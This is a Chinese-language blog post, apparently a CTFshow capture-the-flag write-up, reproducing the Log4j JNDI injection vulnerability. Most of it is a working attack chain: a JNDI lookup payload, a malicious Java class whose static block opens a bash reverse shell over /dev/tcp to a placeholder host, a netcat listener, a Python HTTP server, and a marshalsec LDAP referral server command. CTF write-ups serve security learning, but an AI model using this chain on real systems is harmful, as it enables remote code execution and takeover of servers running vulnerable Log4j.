CTFSHOWLog4j复现


今天上午刚刚看完这个洞,自己复现了一下,晚上就看到了上题正好打一下玩玩

多明显的输入框,嘿嘿嘿

这不得来一个

${jndi:ldap://dnslog.com/exp} (bushi

0x01 准备工作

首先准备好恶意Java类

public class Test {
        static{
            try {
                Runtime r = Runtime.getRuntime();
                String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxx/50025;cat <&5 | while read line; do $line 2>&5 >&5; done"};
                Process p = r.exec(cmd);
                p.waitFor();
            }catch (Exception e){
                e.printStackTrace();
            }
        }
}

能弹shell就行,怎么写都行

然后准备好marshalsec-0.0.3-SNAPSHOT-all.jar

0x02 监听端口

nc -lvnp 50025

0x03 起http服务

python3 -m http.server 50026

注意这里要在恶意Java类的目录下起http服务

0x04 起LDAP服务

java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xxx:50026/#Test"

这里的端口要和http服务的端口一致!!

0x05 干他!

喜闻乐见的的地方来了

点击submit

可以看到这里已经加载了恶意类,而我们监听的端口已经反弹到了shell

打完收工!

后续也会写一下这个漏洞的源码分析,就是不知道让不让发。


文章作者: H3h3QAQ
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 H3h3QAQ !
  目录